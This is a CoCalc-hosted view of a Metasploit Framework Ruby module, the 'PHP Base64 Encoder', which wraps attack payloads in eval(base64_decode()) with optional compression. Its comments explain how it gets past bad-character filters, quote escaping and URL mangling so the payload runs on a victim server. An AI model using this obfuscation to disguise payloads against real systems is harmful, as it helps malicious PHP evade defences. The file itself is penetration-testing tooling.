CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/php/base64.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Encoder
7
Rank = GreatRanking
8
9
def initialize
10
super(
11
'Name' => 'PHP Base64 Encoder',
12
'Description' => %q{
13
This encoder returns a base64 string encapsulated in
14
eval(base64_decode()), increasing the size by a bit more than
15
one third.
16
},
17
'Author' => 'egypt',
18
'License' => BSD_LICENSE,
19
'Arch' => ARCH_PHP)
20
register_options(
21
[
22
OptBool.new('Compress', [ true, 'Compress the payload with zlib', false ]) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups.
23
],
24
self.class)
25
end
26
27
def encode_block(state, buf)
28
# Have to have these for the decoder stub, so if they're not available,
29
# there's nothing we can do here.
30
%w[c h r ( ) . e v a l b a s e 6 4 _ d e c o d e ;].uniq.each do |c|
31
raise BadcharError if state.badchars.include?(c)
32
end
33
34
if datastore['Compress']
35
%w[g z u n c o m p r e s s].uniq.each do |c|
36
raise BadcharError if state.badchars.include?(c)
37
end
38
end
39
40
# Modern versions of PHP choke on unquoted literal strings.
41
quote = "'"
42
if state.badchars.include?("'")
43
raise BadcharError.new, "The #{self.name} encoder failed to encode the decoder stub without bad characters." if state.badchars.include?('"')
44
45
quote = '"'
46
end
47
48
if datastore['Compress']
49
buf = Zlib::Deflate.deflate(buf)
50
end
51
52
# PHP escapes quotes by default with magic_quotes_gpc, so we use some
53
# tricks to get around using them.
54
#
55
# The raw, unquoted base64 without the terminating equals works because
56
# PHP treats it like a string. There are, however, a couple of caveats
57
# because first, PHP tries to parse the bare string as a constant.
58
# Because of this, the string is limited to things that can be
59
# identifiers, i.e., things that start with [a-zA-Z] and contain only
60
# [a-zA-Z0-9_]. Also, for payloads that encode to more than 998
61
# characters, only part of the payload gets unencoded on the victim,
62
# presumably due to a limitation in PHP identifier name lengths, so we
63
# break the encoded payload into roughly 900-byte chunks.
64
#
65
# https://wiki.php.net/rfc/deprecate-bareword-strings
66
67
b64 = Rex::Text.encode_base64(buf)
68
69
# The '=' or '==' used for padding at the end of the base64 encoded
70
# data is unnecessary and can cause parse errors when we use it as a
71
# raw string, so strip it off.
72
b64.gsub!(/[=\n]+/, '')
73
74
# Similarly, when we separate large payloads into chunks to avoid the
75
# 998-byte problem mentioned above, we have to make sure that the first
76
# character of each chunk is an alpha character. This simple algorithm
77
# will create a broken string in the case of 99 consecutive digits,
78
# slashes, and plusses in the base64 encoding, but the likelihood of
79
# that is low enough that I don't care.
80
i = 900
81
while i < b64.length
82
i += 1 while (b64[i].chr =~ %r{[0-9/+]})
83
b64.insert(i, '.')
84
i += 900
85
end
86
87
# Plus characters ('+') in a uri are converted to spaces, so replace
88
# them with something that PHP will turn into a plus. Slashes cause
89
# parse errors on the server side, so do the same for them.
90
b64.gsub!('+', "#{quote}.chr(43).#{quote}")
91
b64.gsub!('/', "#{quote}.chr(47).#{quote}")
92
93
state.badchars.each_byte do |byte|
94
# Last ditch effort, if any of the normal characters used by base64
95
# are badchars, try to replace them with something that will become
96
# the appropriate thing on the other side.
97
if b64.include?(byte.chr)
98
b64.gsub!(byte.chr, "#{quote}.chr(#{byte}).#{quote}")
99
end
100
end
101
102
# In the case where a plus or slash happened at the end of a chunk,
103
# we'll have two dots next to each other, so fix it up. Note that this
104
# is searching for literal dots, not a regex matching any two
105
# characters
106
b64.gsub!('..', '.')
107
108
# Some of the shenanigans above could have appended a dot, which will
109
# cause a syntax error. Remove any trailing dots.
110
b64.chomp!('.')
111
112
if datastore['Compress']
113
return 'eval(gzuncompress(base64_decode(' + quote + b64 + quote + ')));'
114
else
115
return 'eval(base64_decode(' + quote + b64 + quote + '));'
116
end
117
end
118
end
119
120